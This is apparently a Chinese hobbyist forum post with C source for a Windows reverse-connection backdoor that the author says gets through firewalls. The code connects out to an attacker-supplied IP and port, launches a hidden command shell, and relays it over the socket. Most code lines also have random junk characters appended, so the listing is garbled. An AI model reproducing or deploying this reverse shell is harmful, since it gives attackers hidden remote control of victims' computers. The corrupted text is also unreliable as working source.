这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0"pVT%b
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/* ============================== (Lh#`L?x
Rebound port in Windows NT [fu!AIQs
By wind,2006/7 {Hr$wa~
===============================*/ wLuv6\E
#include {|9}+
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#include 4t4olkK3Oa
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#pragma comment(lib,"wsock32.lib") 6]Q3Yz^h
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void OutputShell(); '+<(;2Z
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SOCKET sClient; l2b{u
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R)!`JKeO/
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void main(int argc,char **argv) Dj-s5pAW
{ [%HIbw J
WSADATA stWsaData; N132sN2
int nRet; fYebB7Pv
SOCKADDR_IN stSaiClient,stSaiServer; eT"Uxhs-}
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if(argc != 3) JM0I(% Z%
{ v}Wmd4Y'
printf("Useage:\n\rRebound DestIP DestPort\n"); Bz8 &R|~>"
return; >5~7u\#9
} } :iBx
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~7q uTp)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x)5V.q
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stSaiClient.sin_family = AF_INET; 'p)Q68;&
stSaiClient.sin_port = htons(0); S_J :&9L
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "YFls#4H-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;mm!0]V
{ &!7+Yb(1
printf("Bind Socket Failed!\n"); ic6L9>[
return; Y5A~E#zw
} h~HB0^|
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stSaiServer.sin_family = AF_INET; fF?6j
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >AD=31lq
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #?}6t~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &ju-
{ ,W5.:0Y;f[
printf("Connect Error!"); M\/XP| 7
return;
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} U/MFhD(06
OutputShell(); ateUpGM QU
} 7r{qJ7$%
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void OutputShell() ;M
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{ {'3D1#SK
char szBuff[1024]; ,-*iCs<
SECURITY_ATTRIBUTES stSecurityAttributes; u7]<=*V]
OSVERSIONINFO stOsversionInfo; _45cH{$sA
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O@U?IF$
STARTUPINFO stStartupInfo; (;o*eFC F
char *szShell; irxz l3
PROCESS_INFORMATION stProcessInformation; %j]STD.E
unsigned long lBytesRead; , j980/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); " mj^+u-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y'm=etE
stSecurityAttributes.lpSecurityDescriptor = 0; H~+xB1
stSecurityAttributes.bInheritHandle = TRUE; * UcjQ
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go|>o5!g
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %&] 1FhL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7s>a2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?A=b6Um
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4^Qi2[ w
stStartupInfo.wShowWindow = SW_HIDE; 'qeP6}M
stStartupInfo.hStdInput = hReadPipe; y,C!9l
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >Gd.&flSj
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GetVersionEx(&stOsversionInfo); k'13f,o}
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switch(stOsversionInfo.dwPlatformId) swr"k6;G
{ 2bQ/0?.).-
case 1: ")\aJ8
szShell = "command.com"; W}gVIfe
break; lJ/6-dP
default: ~Yk"Hos
szShell = "cmd.exe"; +mWjBY
break; *re 44
} 7c1+t_ Ew
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G\rj?%
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send(sClient,szMsg,77,0); -q2MrJ*
while(1) $adq7
{ mZoD033H
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v&0d$@6/U
if(lBytesRead) >q|Q-I~gs
{ PZ]5Hf1"
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i.@*tIK
send(sClient,szBuff,lBytesRead,0); _EKF-&Q6
} c cr" ep
else zGs|DB
{ qpgU8f
lBytesRead=recv(sClient,szBuff,1024,0); 70`M,``
if(lBytesRead<=0) break; +{>.Sk'$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "Gh#`T0#a
} &c^7O#j
} ,VG9)K1K
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return; f)gGH'yOQ
}